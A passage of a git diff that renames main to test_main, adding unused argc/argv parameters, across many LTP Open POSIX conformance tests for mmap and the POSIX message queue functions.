a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c @@ -24,7 +24,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c index ad7b6bb2..8efe1e5d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/5-1.c @@ -87,7 +87,7 @@ static void print_error(struct testcase *t, int saved_errno) printf(" has failed: %s\n", strerror(saved_errno)); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c index 60910290..fa6e3bad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-1.c @@ -40,7 +40,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef _POSIX_MEMORY_PROTECTION char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c index 6d06dbf9..259e6ee2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-2.c @@ -41,7 +41,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef _POSIX_MEMORY_PROTECTION char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c index 9aef16c4..082ca3dc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-3.c @@ -41,7 +41,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef _POSIX_MEMORY_PROTECTION char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c index 44a616e3..a19329af 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-4.c @@ -33,7 +33,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c index a27c91e4..b3d6084a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c @@ -33,7 +33,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c index b707a2cb..bfb54628 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-6.c @@ -32,7 +32,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c index 6be5e52e..ec76020b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-1.c @@ -39,7 +39,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; ssize_t size = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c index b923e1b2..0acd2062 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-2.c @@ -39,7 +39,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; ssize_t size = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c index 011bc230..1c7edc22 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-3.c @@ -38,7 +38,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c index ddad4cea..2fa3d1e6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/7-4.c @@ -37,7 +37,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; int shm_fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c index 88300335..214c5e8c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/9-1.c @@ -33,7 +33,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/1-1.c index 5c510c03..278ec8bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/1-1.c @@ -22,7 +22,7 @@ #define TEST "1-1" #define FUNCTION "mq_close" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[50]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/2-1.c index dc03d21d..6e704158 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/2-1.c @@ -40,7 +40,7 @@ static int child_process(char *qname, int read_pipe, int write_pipe); static mqd_t open_queue(char *qname, int oflag, int mode); static int send_receive(int read_pipe, int write_pipe, char send, char *reply); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[50]; pid_t pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-1.c index fba02242..67bf10ca 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-1.c @@ -27,7 +27,7 @@ #define FUNCTION "mq_close" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[50]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-2.c index 1415667b..605c1308 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-2.c @@ -17,7 +17,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (mq_close((mqd_t) - 1) != -1) { printf("mq_close() did not return -1 on invalid descriptor\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-3.c index d5d8265b..9397417a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/3-3.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Use some arbitrary but high number for the descriptor. */ if (mq_close((mqd_t) 274) != -1) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/4-1.c index 0093c32f..9ef5d46a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_close/4-1.c @@ -25,7 +25,7 @@ #define FUNCTION "mq_close" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[50]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-1.c index 5026ca5e..48dbc270 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-1.c @@ -36,7 +36,7 @@ #define NAMESIZE 50 #define MQFLAGS O_NONBLOCK -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-2.c index f4485231..9853e43c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/2-2.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define MQFLAGS O_NONBLOCK -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/3-1.c index 3ce5a9d0..fe48bd57 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/3-1.c @@ -32,7 +32,7 @@ #define MAXMSG 40 #define MSGSIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/4-1.c index 4811cbc1..aa081019 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/4-1.c @@ -31,7 +31,7 @@ #define MSGSIZE 50 #define MAXMSG 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/speculative/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/speculative/7-1.c index 9e58a947..d2dab532 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/speculative/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/speculative/7-1.c @@ -28,7 +28,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes, mqdes_invalid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/1-1.c index 6c1a7122..c9f1f7dc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/1-1.c @@ -49,7 +49,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/2-1.c index 379ed0e7..9912e0f8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/2-1.c @@ -39,7 +39,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/3-1.c index bc4a061e..469f4574 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/3-1.c @@ -49,7 +49,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/4-1.c index 3fe7c78a..d4f3abb5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/4-1.c @@ -46,7 +46,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[50]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/5-1.c index f8119b0f..3346a16f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/5-1.c @@ -57,7 +57,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/8-1.c index 297a75c6..74914657 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/8-1.c @@ -31,7 +31,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { mqd_t mqdes; struct sigevent notification; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/9-1.c index edb58d5a..f3baddaf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/9-1.c @@ -38,7 +38,7 @@ static void mqclean(mqd_t queue, const char *qname) mq_unlink(qname); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/1-1.c index 124f4d42..391a1726 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/1-1.c @@ -24,7 +24,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/11-1.c index 3c78b044..43b1ef5a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/11-1.c @@ -27,7 +27,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/12-1.c index 0f82b98c..061c134f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/12-1.c @@ -28,7 +28,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/13-1.c index 4daefac2..6dd9c8c3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/13-1.c @@ -24,7 +24,7 @@ #define MAXMSG 10 #define MSGSIZE 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/15-1.c index 1c329d61..a58f99b3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/15-1.c @@ -22,7 +22,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue, queue2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c index ecbfb0f7..9db2661b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/16-1.c @@ -37,7 +37,7 @@ #define TNAME "mq_open/16-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAME_MAX]; char fname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/18-1.c index 74b01805..6fb3412f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/18-1.c @@ -23,7 +23,7 @@ #define NAMESIZE 50 #define MSGSTR "O123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/19-1.c index 1cda173f..b52dcee6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/19-1.c @@ -35,7 +35,7 @@ #define MSGSTR "0123456789" #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/2-1.c index 81648d72..3ebcd137 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/2-1.c @@ -43,7 +43,7 @@ static void handler(int signo) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/20-1.c index 92deec70..62efa146 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/20-1.c @@ -34,7 +34,7 @@ static void handler(int signo) #endif } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/21-1.c index 3acfb7c6..0865791d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/21-1.c @@ -26,7 +26,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/23-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/23-1.c index e0793078..1ec442f2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/23-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/23-1.c @@ -23,7 +23,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue, queue2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/25-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/25-2.c index 406c7ecc..acf3c9cf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/25-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/25-2.c @@ -29,7 +29,7 @@ static int invalid_values[NUMTESTS] = { 0, -1, INT32_MIN }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-1.c index 7737b022..62c9889f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-1.c @@ -22,7 +22,7 @@ #include <limits.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[PATH_MAX * 2]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-2.c index a489bc2f..b7a52d76 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/27-2.c @@ -25,7 +25,7 @@ #include <limits.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAME_MAX * 2]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/29-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/29-1.c index 359a9096..2a595049 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/29-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/29-1.c @@ -23,7 +23,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/3-1.c index 0f864407..9f9a010c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/3-1.c @@ -22,7 +22,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-1.c index ab77025c..b532ff92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-1.c @@ -29,7 +29,7 @@ #define MSGSTR "0123456789" #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = 